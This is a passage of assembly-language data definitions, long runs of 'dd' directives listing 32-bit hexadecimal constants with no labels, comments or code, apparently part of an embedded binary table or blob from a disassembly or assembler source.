63C83FA1h, 880A7ED8h dd 4D5F6100h, 0F1B88E8Bh, 0ABC384Ch, 52E842E3h, 48BA2C90h dd 0ADF6B311h, 48C0535Fh, 6457E9h, 0B5A303DAh, 0B7BB2690h dd 599EE21Ch, 0A4D8A0AAh, 920E4E75h, 0EFE3EFEDh, 93C726C5h dd 0DD2C89ACh, 0EFAB9289h, 0C79F4725h, 0A326E5CCh, 310295Eh dd 0A7CD4031h, 4D8FC069h, 0A382BA9Dh, 0F4F17596h, 0A6C51454h dd 4BC446EFh, 2443CB84h, 0FF66A88Fh, 0C974512Fh, 215FC72Fh dd 0DC503495h, 6465FFF2h, 0D926EB9Fh, 0FD61F5D9h, 8CD276A8h dd 65AB6633h, 0D74ABACAh, 9542EA3h, 0BE016921h, 781B601Fh dd 7A0F52Fh, 96720687h, 1AF23768h, 0C060042Bh, 0D58F6778h dd 0D0AE5FE0h, 299159F3h, 25103A86h, 3AB1EA9Ch, 4753DB39h dd 0D23C4F9Dh, 26112BF2h, 0D18B99DAh, 4209A1FAh, 0B8E0E002h dd 94B73174h, 195B7676h, 0DC022FD5h, 0D21B90B5h, 0EB221056h dd 174F14DAh, 0B7A32355h, 0B1A0181h, 4D7E8DB5h, 0E1F4091h dd 0BB4B9CC6h, 33906C7h, 399C7F65h, 3ABC6E26h, 7F935598h dd 93348F0Ch, 0C77F8EDEh, 0B1B1FBBEh, 29C67C49h, 0DA6F4C4Eh dd 0ED327F18h, 84A246Ch, 0D82B94FAh, 0CB88F1Dh, 85CB40EAh dd 0F6970282h, 41A8EDBAh, 39D278D6h, 9B700E8Ch, 0BF7248A6h dd 0EED96609h, 0E5FB89D0h, 2FD90E9h, 0E6386626h, 8416C139h dd 85652334h, 0D9A12138h, 65F0682Ah, 7AF9C68h, 0DE9401F8h dd 702EBB3Ch, 0CCB38E79h, 0F741353Ah, 0E51398E7h, 9B73B670h dd 0FF753254h, 5CEEDC2Bh, 61135Dh, 0B2CBA630h, 13488857h dd 98606CAFh, 465F843Ah, 13E76ADFh, 0A1C44A0Ah, 8083FAB6h dd 34170E4Ah, 0B54FEC80h, 727E4790h, 0F0A14483h, 3B6C7DF4h dd 0A6FEC3BAh, 0CD3A0958h, 946C9B89h, 669E827Dh, 0F0C66B2Eh dd 0B8352638h, 0F1019BB8h, 0AB0C7636h, 72D1542h, 19094E2Ah dd 1EAFBCDAh, 0FCE9E23Ah, 1B1F3B4Fh, 65074B95h, 1A5EC104h dd 59B2EB09h, 20C2E88h, 0CEF719CBh, 494139CDh, 4BEFA606h dd 0D95B2ABDh, 0FC5AFEDAh, 0EB787EDFh, 12ABE679h, 63BA3CDFh dd 45403866h, 0FFA49D63h, 63184F4Fh, 51806B35h, 0E6A4460Ah dd 0B31A35BCh, 0F8946190h, 74536A9Fh, 65FC7D37h, 0BA17BD35h dd 5E1CA635h, 0F96DF192h, 5A309B83h, 0AE57EE56h, 0DAF2BA6Eh dd 0FFC4866Ah, 464FFEA9h, 0DBB92F13h, 95D9E4AAh, 887038E8h dd 0C1DDCFD0h, 0B58C2A98h, 13B67206h, 2995A655h, 0E34176C9h dd 0DCB0FA2Ch, 0F0F959B8h, 1FF8EA9Ah, 508E0105h, 6B87A0D7h dd 3104399Fh, 5FF929A2h, 7C24B7E8h, 27BE77CDh, 6DE47A97h dd 13897A21h, 0E84C7883h, 0FA968595h, 0CC2B1F4Bh, 0A6146817h dd 6575A22h, 0C00B55D0h, 1C392Ah, 10E2C1Fh, 332BDC75h dd 0E4A78F6Ah, 9BF0089Ch, 88AAE34Bh, 0EA18AC9Eh, 31F97B58h dd 0D084B8A7h, 4D57CE76h, 2AC0D808h, 82F7FF4Dh, 0B48F4A2Fh dd 0AA398DCCh, 0FCA0E7F0h, 76B2B2C4h, 9A5DF364h, 0B4A3C6DEh dd 224882E6h, 8780ACCDh, 1A7B7913h, 70D76C2Bh, 0A10C66EFh dd 7BF9E24Eh, 1A1B6FCBh, 2DAE6F91h, 6E46E3C9h, 0D416E426h dd 0F1B4FAFFh, 0AE9106D2h, 0E9ED3A5Eh, 0D9DE1B7Bh, 0A06D5AF9h dd 0E80E2C9Bh, 0BB99A273h, 74F8EDACh, 1881473h, 7A54B795h dd 818096E8h, 6DD61F17h, 3B8F14D1h, 89130DE3h, 0DB6A7BBAh dd 70F104B9h, 0D706D75Eh, 1453370Eh, 3DDF9771h, 4C88CAB2h dd 0FE02DD06h, 8A2FF582h, 7BC2E38Dh, 7B8F042Dh, 0E93F2E73h dd 63CFFE3Fh, 46BF4E91h, 0C450C6A0h, 0E4D1113Fh, 3B90A4AAh dd 28B72888h, 0C8CF8656h, 0E1EADEA2h, 0F5C9E9BAh, 4B7EB501h dd 4267DA97h, 214C6C8Fh, 3AC4C045h, 7BE1F07Eh, 50A4E966h dd 50FC0E26h, 934BC7D0h, 0D2ABE18Ch, 0C86BF009h, 0D39AB489h dd 1D04A7EBh, 96DBCE45h, 7371623Ah, 0D436A446h, 0CA5CC3Dh dd 0B85D16Ah, 0FCA8B14Dh dd 0A47F3EBBh, 7DD8100h, 0F1FB2AC7h, 6AF099D7h, 0B457CF53h dd 81AF60C3h, 6963C19h, 0C7ECCB90h, 38E54F3h, 675AC4E6h dd 0FFCE2013h, 4FE28671h, 8A0CC852h, 8576C3FAh, 8924811Ah dd 9AE41AEBh, 0AC42BB35h, 23C2FEB1h, 0FC3CF7E7h, 0ADB0F97Ah dd 0A0A343C1h, 0F48890BDh, 56510B95h, 6FAC70BBh, 4DD4E062h dd 3C69B2D9h, 39B662BEh, 46EDC8B8h, 9398C4F6h, 0C5DCEC34h dd 6A80C47Ah, 0E2FCB70Ah, 7394DD72h, 0AA57A4h, 72F162B9h dd 1A6FE2AEh, 6F5FDB9Ch, 0FB344F7Ch, 626F2C22h, 864A6DFCh dd 3EEC503Ah, 5D2BD926h, 15B20EB5h, 0C6FF702Ch, 7D68D77Bh dd 0F1A3203Ch, 0D1FFCEC6h, 0FE1251A0h, 0EC5042CEh, 0FBA211F3h dd 569260EFh, 0EFABED4h, 0FC9ECA93h, 0CED08EFFh, 0B37872FBh dd 6156D6F7h, 28142C53h, 64A1D003h, 3830F0FFh, 6F73F32Ah dd 41D72CEh, 0A3611F62h, 0A20E6401h, 89E60F4Dh, 0A55F44F9h dd 99BC575Eh, 553ABF6Ch, 1B23461h, 6E3922DFh, 0C40C468Ah dd 8E10FB52h, 1F283B34h, 0B8FAD22Fh, 38587038h, 0AC42552Bh dd 600C567Bh, 0FCDC2F10h, 52FC43B0h, 6CE2F3CDh, 0A7EDF3EFh dd 0A75C0A08h, 0D25BC77Eh, 67C0C919h, 0B55AA048h, 1A1B3A31h dd 0A9B1CC81h, 0FE3A2F59h, 6507F038h, 8288E152h, 7076BA27h dd 3C42261Ah, 90246636h, 6B7558A9h, 0BA440F6Eh, 14DB96FCh dd 0A53A2648h, 8BE5926Fh, 31571761h, 0C85BEF5Bh, 980C546Fh dd 0A11B93A8h, 3375C503h, 6A74E4E0h, 8D2280D2h, 11D0C3Bh dd 28A47153h, 0F11E0AF1h, 1D4515E6h, 27F280BAh, 0C7B5A027h dd 16D04328h, 0D6DC5523h, 2229BB42h, 81A0B8A9h, 360ABD63h dd 9FEA2868h, 8F95ED68h, 0A7CB0A4Ah, 0EC4D55F2h, 7BD679A5h dd 0A1CB4BE3h, 0CAB5EAE1h, 0BEE0F62Eh, 0D2F6F380h, 15BEB26h dd 5428E4DFh, 889FF225h, 7BB0A988h, 43F193Bh, 7C7E28Eh dd 0C7D0AA59h, 517A40F3h, 44E63C38h, 22E348B9h, 66935BF0h dd 90C55E51h, 55DB408Eh, 707A70h, 0B81788EBh, 226D3539h dd 597B179Ah, 361A653Dh, 7410997Ah, 0AB40A963h, 0CFEE7508h dd 0B4AD17D5h, 0D00559BCh, 0C3FAB206h, 0EA42D5E5h, 0F9271C08h dd 0EA5AA3E4h, 4E6A4A34h, 0CB9C2564h, 6E3148E3h, 88DB3453h dd 84C57080h, 0E5A7A238h, 0E1D13F47h, 467320B0h, 0F9A4234Ch dd 0CA105509h, 0C63B236Ch, 58A60249h, 0D15EF0ACh, 0DCF377E7h dd 9D9A05B1h, 0C60413B7h, 82417DC7h, 0B866A69Ah, 0B7A84520h dd 7296CC18h, 7837EFEAh, 67AEB9E6h, 5F187CE8h, 107023E7h dd 9162904Ah, 0EC77955Ah, 0E2636825h, 7D28A74Eh, 0A184A30h dd 0C0078C7h, 562ED2BFh, 14974B54h, 0F387530Ah, 0B11C6B19h dd 4D4FBB93h, 30A8DC81h, 4A9551F5h, 59D9B3B8h, 0A95BA7C6h dd 278E05A6h, 6194E73Ah, 6AB12788h, 58C7F575h, 8E2BC332h dd 0C0A5F7FAh, 3474EA88h, 47566775h, 496C6335h, 58EE42D9h dd 124CE59h, 0D5303DF6h, 34DF2E74h, 38D4A019h, 0AA190DC6h dd 0F2DFB231h, 3483EC7Fh, 7BA220D1h, 6927FA15h, 9AF177A2h dd 2BF76F10h, 75C4DF5Ch, 69895368h, 0E414CF64h, 662EBDDEh dd 0A4C1F7FDh, 26F6F1DCh, 8F69239Eh, 0A542111Ah, 0CF11055Ah dd 0ED6E7B1h, 16B0625h, 7FAC148h, 0EC8BBD61h, 0B8418BDh dd 17E2CB9Dh, 2BE2CDD1h, 0DD96BFBEh, 39F7022Ah, 0E5BD1BA3h dd 0A523585h, 628F6A07h, 4D6A1999h, 0A3BFA2CEh, 0C7D795A1h dd 0DF813EE3h, 456C59CCh, 0B8D5701Fh, 0CBAC03E1h, 0AD9CC588h dd 666570FFh, 68E074F2h, 0D4F9101h, 78F71C20h, 0DAC50D7Eh dd 67A86EFBh, 7AC26983h, 0E4BFCE17h, 619F1AFEh, 0A716FB14h dd 6D2CBEEBh, 3A72F7E0h, 2C25D434h, 637EE5D6h, 9635D92Dh dd 1D1F2726h, 0FBB3A927h, 4575DEA2h, 0F0AE5105h, 0EB1E678h dd 0C146665Ah, 0ED1CDD9Dh, 68EACE20h, 4CAC456Fh, 0C6C83B37h dd 88C1FD48h, 61A100BDh, 74A0E351h, 0EBD3BB16h, 0CBBDFC7Fh dd 4E6BFD1h, 0A83F36ECh, 6D8EB0FCh, 3AF212FEh, 6CA3ABCDh dd 9F010BC3h, 264587FFh, 3D988A11h, 0D245F8A7h, 9B3EA899h dd 0DC67ED03h, 0D5EA84A4h, 0A445B1D4h, 804058F5h, 1847822Bh dd 1BA796DAh, 4B573DF8h, 47B0C3B8h, 36045C0Bh, 36D3D08Fh dd 3E7EB848h, 0C527B89Ah, 0A79CCC84h, 0FEFF72F2h, 856A5E5Fh dd 60B24F3Ch, 0BCB1CA7Dh, 98D7F464h, 581A2664h, 270285D3h dd 40697FF8h, 4B44D32Bh, 464D0CD9h, 0FE089391h, 6F317B81h dd 9B9C08C8h, 8F8A4C6Dh, 1A679FABh, 49AA0A94h, 27A440F4h dd 1196E552h, 0CC6496B2h, 0CFA54A81h, 986EE112h, 98417B01h dd 99C7565Ch, 50016BBBh, 0A665F1h, 86133198h, 71041538h dd 8F0B11B1h, 2CF08429h, 7C2FDFBBh, 0B3BA039Dh, 8EF4B76Fh dd 199F43D9h, 93ACD7AAh, 9631E391h, 391AB39h, 0E12C99Bh dd 58087C41h, 0CA56341Bh, 7B7A9CF1h, 956EC387h, 66E4AB4Ch dd 0FD89B8FBh, 38A630F6h, 0ADF2CA3Ah, 7A604B37h, 0C4DFD09Eh dd 0F0D9929Eh, 1AF8A37Ch, 58E08675h, 0B0221F6h, 9359E59Eh dd 7D019737h, 54413FA4h, 7A4AD3Dh, 1F180934h, 0D4BA3136h dd 0A5394FC7h, 0A9ABF22Ah, 0E0853655h, 0BE715EDh, 6080FC19h dd 20174F4Ah, 52FDBCE8h, 6712268Ch, 75BC4E32h, 0D9DB7F7Eh dd 2E64F83Ch, 40D04300h, 7424A11Dh, 8D83EEF1h, 2DEE186h dd 65DC0F56h, 2C637220h, 78439C56h, 0D0CE662Dh, 168E1CB5h dd 3F1D3C5Eh, 446C6211h, 0BE65A5E4h, 0A4827C28h, 0BF13CCC2h dd 7D36435Fh, 64D2E257h, 11C526D4h, 64A06777h, 76002FB8h dd 27D6CC55h, 0CBF8DAA2h, 0A5521399h, 0C92FBF6Ch, 0B536ACA0h dd 0C5D2018h, 0C6CE76B6h, 9D7B5CE4h, 4EB59751h, 17E2F79h dd 8070E036h, 108E2C06h, 0A56A7FBDh, 10190C34h, 0DD9D59BDh dd 24FF3EA9h, 178716A6h, 0DE42B5D1h, 1F586243h, 7FE00807h dd 96140C74h, 3B59EB5Fh, 0F0144AE3h, 2A736955h, 0E3D332D8h dd 0C1446ECFh, 12747FE7h, 6457F197h, 31DD4ECAh, 0EB8DF578h dd 0BB160388h, 6B050A93h, 96DFB85Eh, 159092E1h, 3DA066FCh dd 2235DAFFh, 2C4AE651h, 1D83B1D9h, 5D700FF3h, 2C1B9A6Bh dd 22381235h, 2537D757h, 0CA557ADBh, 0C040B835h, 0F76DA21Fh dd 2ACE4FBBh, 0CB9E6F45h, 70C964D6h, 36E46137h, 352086BBh dd 0DE291728h, 0F1714DF4h, 0DA3A67BEh, 7CA6BC9Ch, 3DEE8162h dd 8A6DBE21h, 46F1F190h, 53C2814Fh, 0BC8CB927h, 62968FF4h dd 49DEB334h, 5AAD7774h, 0C8FB7B1Bh, 0BBD29A7Bh, 9091D60Fh dd 872AACECh, 17E66549h, 0C737DAF6h, 259D34E1h, 85B08C17h dd 0B3EA9E3Dh, 67273E6Ah, 40AE10C9h, 0C263C7ABh, 3D5EF56h dd 0F2D78BBDh, 99062C41h, 0B11C8764h, 9272D412h, 0A875CD2Ch dd 0E01DC792h, 0D5CD3BA0h, 0A2364D1Ah, 383F0A9Eh, 66D7110Ah dd 5F21F882h, 0B2F4CD40h, 85006308h, 466A8CE8h, 0EECEF797h dd 0EA520915h, 4A739707h, 0FEE3F538h, 0E45A14F8h, 0B9BCB12Ah dd 66B2F98Dh, 0D97685Bh, 2BA05DF0h, 0E923BAE6h, 0A0EA0DDDh dd 0E3D7E1CFh, 991A3BDAh, 0FFA0B5D7h, 95A42316h, 0FDBF3F88h dd 0D2159843h, 0B1DE8B2h, 463E91A0h, 40241C7Ch, 0A3778A35h dd 7D721067h, 0FE14C6B6h, 44CDB0E7h, 0FD9E083Ch, 1D1AF048h dd 98AE6B10h, 0BA7A8BB0h, 19C335EBh, 0FF4A14F6h, 8CFCCA78h dd 0B702B8BAh, 678A0D0h, 27599253h, 3D5E3E3Dh, 8CB367F4h dd 93D19BBAh, 0F820B71Dh, 2C9523F6h, 0C793B242h, 68CB4668h dd 54DB6F6Eh, 0C979B859h dd 87FF8B40h, 8B6741CAh, 534EDE36h, 558F28E3h, 0BB1BA45Ch dd 57B63A81h, 54632FCBh, 0BCB90308h, 0CFF262D7h, 8A75F395h dd 0F47251A1h, 0C49B83F5h, 49BD3C78h, 8E40FFE4h, 0FEED57D8h dd 3EB17F4Dh, 0F50BD34Eh, 3B66CA09h, 76A1C22Eh, 0D098D655h dd 1E6D3503h, 0FB7B9C5Fh, 21A6FD58h, 5DEEC5B1h, 55DC31FDh dd 7E438EC2h, 0EB3D6A59h, 362A1586h, 18218E46h, 6EACF7CBh dd 0F4C44D21h, 0F633DF69h, 0E3E88D64h, 0F219A7E7h, 0A1312D11h dd 0F62D66F3h, 0E68342EBh, 21547255h, 0F997D701h, 8CD5E618h dd 0B55D8A49h, 911FF147h, 735039A8h, 0B7C2200Fh, 1743CD33h dd 25CA067h, 0BFA90368h, 4915CFB2h, 72A2F2F5h, 0CDFAAE6Eh dd 32DE59E7h, 1CF0BE6Fh, 0FA6CFA16h, 4F59EFBDh, 0FADB1009h dd 0ACE6CC9h, 8254F98Bh, 0B1EEEE6Bh, 0DA585806h, 0C0212870h dd 70D7609Ch, 6ADC5EAEh, 3FE9BB4Dh, 8A9BDE96h, 97BC2331h dd 8A857CBBh, 3ECD0B85h, 6EDCD9A7h, 0BDCCC326h, 0BE9F32E7h dd 0C9DEDC07h, 44FECAEAh, 6BA5F75Fh, 2908D14Ch, 65079B5Ah dd 0DBA2CE4Ah, 58C4663Bh, 5770CF46h, 0A43C2EF2h, 73D3F6C2h dd 0C453157Eh, 0B98E4D6h, 956D8EECh, 32E41359h, 0C8FD460Eh dd 8C54E2Bh, 1327B791h, 0EE214289h, 58BAE650h, 5797768Dh dd 0F3908212h, 0F8744308h, 7592953h, 7F1BF13Ch, 0C0C73F76h dd 840E7177h, 16896h, 9DBD72DCh, 0F1B3FCA0h, 3E533644h dd 4C42DA25h, 4001A326h, 0E513A10Fh, 0DFF3BC27h, 0CE76DDB8h dd 74C74085h, 66617351h, 61E610DFh, 97962665h, 4E0FE724h dd 0AB5753D7h, 0DBC2F466h, 259A6CDFh, 0C88BA592h, 0F57C5B90h dd 2F965B86h, 4A95BACh, 0F227F938h, 6E2AF692h, 76BFDF29h dd 2577DB5Eh, 0B6D1B308h, 822B2D7Ah, 739010BEh, 474C2E5Eh dd 16B93EDEh, 0FDA97903h, 665D0257h, 5703223Eh, 2939654Ah dd 344682C9h, 0C0A28229h, 7B8F460Eh, 0B57F79DEh, 26DC6CD8h dd 0B68E5C0Dh, 43C1B5A3h, 93C53413h, 4332A9AAh, 2CD840B2h dd 0B52CA630h, 9DC42BC5h, 921692B2h, 0C989CC94h, 629DF457h dd 91565890h, 0CA935341h, 2AAFA457h, 0F56D1B54h, 365D718Ah dd 4E5FE17h, 72520736h, 184B4CD1h, 41469EA2h, 3161D48Ah dd 0BE3FD8BEh, 0B0BD60F0h, 0B052A593h, 0E87970F8h, 0AED58320h dd 45B21BBBh, 1C9C0669h, 331C473Bh, 4C45D9A2h, 58533F23h dd 0BD48AB96h, 0E3BF0E2Fh, 7D2BF3EDh, 64E64709h, 0F171CD61h dd 0AE4FA60Eh, 0CF79743Bh, 0FE2FCBA3h, 1B178231h, 0C4DE8A86h dd 0EB3ED7A8h, 7DF86F24h, 6A8558F8h, 0C989078Ch, 4AE311BCh dd 0FE900AFCh, 14FB0421h, 0E6A5AC62h, 0D4E74352h, 3E65F6D6h dd 5AA1372Ah, 2C37ED17h, 67C9A5B6h, 0E7B6DBh, 152612A0h dd 4A5354CBh, 99B8619Ch, 4399F560h, 3318Ch, 5F03CDDBh dd 0E2FF4B30h, 5CFCD7DDh, 8FE9983Dh, 0D6861B32h, 9FABBC55h dd 37127F50h, 86398F09h, 46DA258Bh, 583529D2h, 0BC807C37h dd 1EC391AEh, 8B0DC2E5h, 0CC342B67h, 0A4A9DEC0h, 816B9566h dd 0D33AD67Dh, 0F20A4EE0h, 0F9B45FFh, 8D2E7EABh, 5184139h dd 0EEF0F75Eh, 0EFA69330h, 34537040h, 50BE5954h, 911D195Dh dd 28CC13B2h, 1EAFD830h, 0D54357F4h, 5C408589h, 986F2962h dd 88296CA5h, 1C111676h, 1E0EA96Ah, 9835868Dh, 0D7C1F0Ch dd 3BE972F2h, 274860F9h, 0BEE82679h, 5D513DFAh, 0F6F65B11h dd 50E19076h, 0C3F86CDBh, 0FA507A39h, 0FAEA295Bh, 62B33h dd 0C2A280C2h, 0BE44A7D8h, 1C771FA6h, 5D1C269Fh, 0AB28887Ch dd 36BA5989h, 8426FE63h, 0A6A655AEh, 0EA9ED27Ch, 0AE6D1B66h dd 0D0B8BE3Fh, 38763F3Ah, 990E9DDh, 1450BCA9h, 149C83C4h dd 4F14FBD7h, 8CA28D74h, 0CEA5BCACh, 941B6025h, 8887F98Dh dd 0AFE4FE82h, 0D464A18h, 1C7E1ABEh, 0A9E566D3h, 0ABF427A4h dd 0BE6D9885h, 5D5A849Ah, 8980EF35h, 0E87E9C84h, 0AF704C5Dh dd 380EF4C7h, 0E9512423h, 0E6EF3D5h, 14E59322h, 6945B7DDh dd 0C6CC49E3h, 0CB10DAC4h, 7AFF61B6h, 2BCF7F30h, 0DC69305h dd 0D4BF5757h, 6D379644h, 0EC3B2655h, 6B256871h, 49E6133Ch dd 8AB7D71Bh, 43A53A7Bh, 2F716F1Dh, 0D5484516h, 0A80BD297h dd 0D4BCE27Dh, 4D564939h, 0FDC9E1E4h, 3320DE6Eh, 7D419A49h dd 1F575BBCh, 0DCB6FC7h, 0B7082C10h, 68BFD370h, 0FAE213A9h dd 2AA7FD18h, 0D24B9485h, 95E79C96h, 7293EA1Ch, 0AF117BFBh dd 3452D564h, 128FAA06h, 871DF544h, 9FFBEC81h, 8D65090h dd 0E17AC9F9h, 0EF0BCD30h, 0D2B94D62h, 3EBF0C17h, 79BAD73h dd 0F7776874h, 4EB49EBFh, 0D6AB868Dh, 9FD61BF6h, 34A26DF2h dd 2EA1680Fh, 897A74DDh, 0DCFBF95Dh, 0F3E091A5h, 58C44C74h dd 795A9853h, 1E655919h, 61F10265h, 6F5E6C53h, 57B9B25Ch dd 0FD0CD1B1h, 0AB2C8A87h, 19FA1385h, 0F0B7FB3h, 0E8C4CF5Ch dd 903454CCh, 41A6345Fh, 0C6B1AC71h, 91D9F994h, 0E078CFB8h dd 6392DCBBh, 0F65B47B7h, 0A743CB80h, 67CC42F9h, 8D42CF6Ch dd 74E343Bh, 44BC2D77h, 5182CAEh, 7592755Ah, 0EB6E2E73h dd 0A4237B12h, 0A25319D7h, 29265DE7h, 0A023B2ADh, 0CB8E9577h dd 68D3595Bh, 674076AEh, 0B1EBF969h, 0DC937DE2h, 0AB3CA50Dh dd 829D5EFCh, 7E0039AFh, 582C8F11h, 0DDC3BCA6h, 8AC36BD3h dd 5A993CEFh, 8EA10B00h, 23357B21h, 61D64712h, 990A2ED8h dd 989EBFF5h, 7086A316h, 740A8AC0h, 6D05B8AFh, 53C5A6Dh dd 0D451E08Fh, 0DE559849h, 4F224204h, 0C0011861h, 9829AE3Ah dd 320546CDh, 5A5841CCh, 806D897Ah, 0BC722191h, 942E2999h dd 773B2BE8h, 5674F19Ah, 2DA18C8h, 0A7C22C6Ch, 4D2BD83Ch dd 72D415Ch, 82E889AFh, 0BC48E58Dh, 5AD0E6F4h, 8875F8E9h dd 0FE8A29A8h, 0F25EFBF5h, 7E5384E8h, 7059D55Dh, 0D00AACF2h dd 1587B45Fh, 95C5F316h, 0E68DD23Eh, 57E775B4h, 68C94174h dd 49E50C02h, 28D848C8h, 49507D38h, 0C3A42CD3h, 0F414B7A0h dd 2803FB3Fh, 0EFF8EEFAh, 597D2281h, 0B11E9099h, 79E2B105h dd 0F04A8Dh, 196F7D2Bh, 0B1EAB81Dh, 9C35386Ah, 308E3F70h dd 714696D2h, 0B1621007h, 32C0795Ch, 52BB65C6h, 181D9B61h dd 702E90A8h, 7D12FC27h, 0F4BF3D8Ch, 2CCA27ADh, 0EEAD2426h dd 70E62761h, 6A82F07Dh, 0F1B7958Bh, 556A8E80h, 39F0D27Fh dd 0D30C6E77h, 0E947A672h, 29C6473Fh, 1F41445Fh, 6A0D8560h dd 87CD83B1h, 0F9788F3Ah, 0DDAF4D32h, 0A664AE18h, 48E3F70Ch dd 0D1F415D0h, 8D09BA6h, 0EB5A3EC7h, 802F89EBh, 0E69DA86h dd 9EC9D8A6h, 6FFA4FD9h, 0BCC87581h, 25DC7905h, 24D6F841h dd 0B70D6C67h, 0E00693Bh, 5CC789EBh, 0C0FB9696h, 722CFB63h dd 0FF7A414h, 8B2F3378h, 242CFFD8h, 2C1FA755h, 19131CC0h dd 1BC9D4D5h, 9849BAACh, 3A0DFB26h, 0FCF263B6h, 0F0D037D9h dd 0D37F7222h, 0BEECC00Ah, 733FE82Bh, 1958B6BEh, 717649D0h dd 1C2E1D99h, 81A110ECh, 66C9BA3h, 176071F0h, 342BF07Ch dd 73714077h, 9E04FB3Bh, 0C537044Dh, 592719D4h, 605BD1E1h dd 57A2B9FDh, 1928B354h, 7FC926A1h, 6D5BCBD1h, 0EA8DA386h dd 20FCC1FCh, 31A68D9Dh, 0C52C1324h, 27CAB08Fh, 3D626D3Dh dd 2BDE7B75h, 0FDAEAF0Dh, 0A0788BFCh, 16BECC16h, 83F96C11h dd 7218B178h, 0F4F0F9F5h, 3EA2F2A2h, 0AF8FFB65h, 9A14A196h dd 65E155B1h, 5766F123h, 1C011C25h, 0C5B57E87h, 0F6F44EDBh dd 6D70909Eh, 7274B78Dh dd 0C36001FEh, 15FCEFAFh, 60F818CCh, 3B1B6B18h, 0F431CBC0h dd 50A85B57h, 4B6BED1Ah, 0B5922F6Dh, 0FC976A5h, 7FBB79Ch dd 0D1941754h, 162CD449h, 0FAB961FAh, 0CE159D2Bh, 0AF8E28F3h dd 74618DF4h, 0B2CE7377h, 0CD3D1A7Dh, 8F13825Eh, 82868D40h dd 6605FD4Fh, 0A911760Eh, 0F058CDDh, 0C53D3C80h, 0C671402Eh dd 0BAF3CADCh, 2E97E2B6h, 0B570060Ah, 1E057687h, 804D6AA2h dd 934F51D9h, 42CF2CA4h, 2F84B65h, 1E684990h, 1955D42Eh dd 650296B1h, 61D49358h, 52475395h, 0E33A9271h, 2B7778B1h dd 0F61E2EE5h, 0CBEA6799h, 3FB4107Dh, 809726BFh, 29E3CFC4h dd 6FE2C77Eh, 7AFCA736h, 0BA7A0282h, 0C36DD897h, 35E49289h dd 0EA2733F0h, 0B1655DC5h, 0D62370CBh, 1061BF19h, 7EB0894Eh dd 70040CC2h, 0E8E2E4B6h, 158FF43Dh, 0E40C16FDh, 0F06E827Eh dd 45A5EE75h, 0F2D31F20h, 4B73C40Fh, 66517741h, 18506F82h dd 89CA98DCh, 50D40513h, 7C26D7C9h, 1C4EFF57h, 5F1154E5h dd 0F7FB084Ch, 0B2215464h, 3693237h, 8E02A88Dh, 2AEE0509h dd 184E528Dh, 0C9AEB3F3h, 0ADFF7969h, 2ECB1192h, 0D746BC79h dd 7548BF0Fh, 48EAA3ADh, 9DC1E7ADh, 0DA0909EDh, 0AC202DA2h dd 0C8679995h, 975D522Ch, 6C42A754h, 43D6B7A1h, 5240F2B1h dd 5D765669h, 7E031ED9h, 3B3A8E15h, 99EB3AC3h, 8BB70735h dd 80287294h, 0E31A40FDh, 7AAFDBECh, 2B3B0079h, 75A507B4h dd 5BB6D60Bh, 77B68A8Eh, 4A0F4C3Eh, 0AFCD5AD3h, 0FAFEF135h dd 0C3EFE3F2h, 0DF7EBF37h, 0C761A318h, 13AFF063h, 9F6AF07Bh dd 0ABCD05F8h, 5F6E2E9Dh, 3AD99B2Fh, 0B6008EA4h, 63F02652h dd 0EF7D563Dh, 44E6D2D0h, 3D3C6B92h, 0DEB0C4D0h, 68BA90ECh dd 64D5CD32h, 947E5795h, 860A48Ch, 93F9326Ah, 7245063h dd 0D02D96B6h, 92CC9C4Fh, 3033726Ah, 0D42E6502h, 0D48ED85Ah dd 3DF90644h, 36990D4Eh, 0BB5A118h, 1159E211h, 0C5B2D82Eh dd 0C07A5FB6h, 3A12C792h, 0C3A66C78h, 0B19B7248h, 1ED95D64h dd 5A22651h, 2F4715B5h, 0D8D06B3Fh, 968571D1h, 7014E41h dd 0E630E6C2h, 2BA61C79h, 2CC6EEF1h, 5625DC04h, 4EA293E9h dd 0D3353551h, 7EB69D85h, 2F03F048h, 9BE94CF6h, 2F7687A9h dd 710F5115h, 1F84B5F6h, 8131C5D4h, 99A92C3Ch, 5995D3C8h dd 60FD5FB8h, 111A578Dh, 1721D665h, 381CE341h, 0D2139986h dd 0D701AF73h, 4875A0AEh, 2F8B43F6h, 4FE249F9h, 0DD53D4AFh dd 6795A52Ch, 1DA09337h, 0AF84AC4Eh, 12BE2B8Bh, 0EB2E5676h dd 9F6E2B92h, 29730A62h, 840A5650h, 9635BBADh, 0F0901991h dd 8A37E1DFh, 189FEFBBh, 0E06637AFh, 0CB3C3032h, 0B2930DC8h dd 3B0A81BCh, 0B831C86h, 0A05B9773h, 0A1ED9890h, 0ED32E173h dd 6D3E5CB1h, 0F9044984h, 4F2F8201h, 3FA9DE81h, 770B2F6Eh dd 0D3E2AF6Ah, 965A461Ch, 0B3267B38h, 778DA6Fh, 0F382416Bh dd 8178841Fh, 0BCCA90ABh, 1817009Ah, 2C27F367h, 0F913767Dh dd 872A8CC6h, 89BE7B13h, 0ADA6DCEEh, 0B91FA1B7h, 0E4788DD5h dd 5303A821h, 2B908FF6h, 18F5D7FEh, 9EECA8D0h, 2472EBC1h dd 2064F008h, 96DBED50h, 449CE4E8h, 0C4D0D4BFh, 0F2E42DF7h dd 0C15D85Dh, 0DB0EB096h, 0D13EB244h, 0E7B5AB19h, 0DB8E10A6h dd 2E90DA2Dh, 3352844Ah, 61722A78h, 765A3D2Ah, 1DF3BE6Ch dd 63DB8206h, 4BA8413Ah, 0B1FE7252h, 0DDF3DD6Bh, 310B2CFFh dd 0C2D13402h, 76C334E2h, 0F73046FEh, 0A6914933h, 0BA133DC5h dd 0BC8ED3C3h, 5E9A9F46h, 0F7BA3A5h, 68F47A5Dh, 934D0FBFh dd 0ED2D0A90h, 2EEF172Dh, 7FAA645Bh, 0FAAF53A7h, 52D16AACh dd 9D973760h, 150F009Ch, 698DDA49h, 0F0AF9D46h, 680149BCh dd 8F227F1Bh, 0EE323C62h, 0B5217A66h, 6228FA6h, 69A8E524h dd 0E11B6172h, 497FAE3Ah, 0BE9DB5E3h, 7FCC35D6h, 1D21B2D7h dd 0BC490C8Ah, 3A9AAEh, 0A63D287Ch, 1F3034D7h, 434DA27Ah dd 816579ACh, 7E3E105Ah, 0A7785475h, 0D287EF94h, 63220719h dd 8F76443Dh, 8023DAA8h, 9FBEFB6Ah, 84DBB4Ah, 206BCD1Ch dd 0D973CB63h, 0F5B94C27h, 62C11BE2h, 0B0E96111h, 32DC6293h dd 604FA3h, 0EA464236h, 0DF3D0292h, 0DCCE1FF2h, 22867699h dd 0E981CB3h, 6567BE8Eh, 9BD88FA7h, 8D2A5B03h, 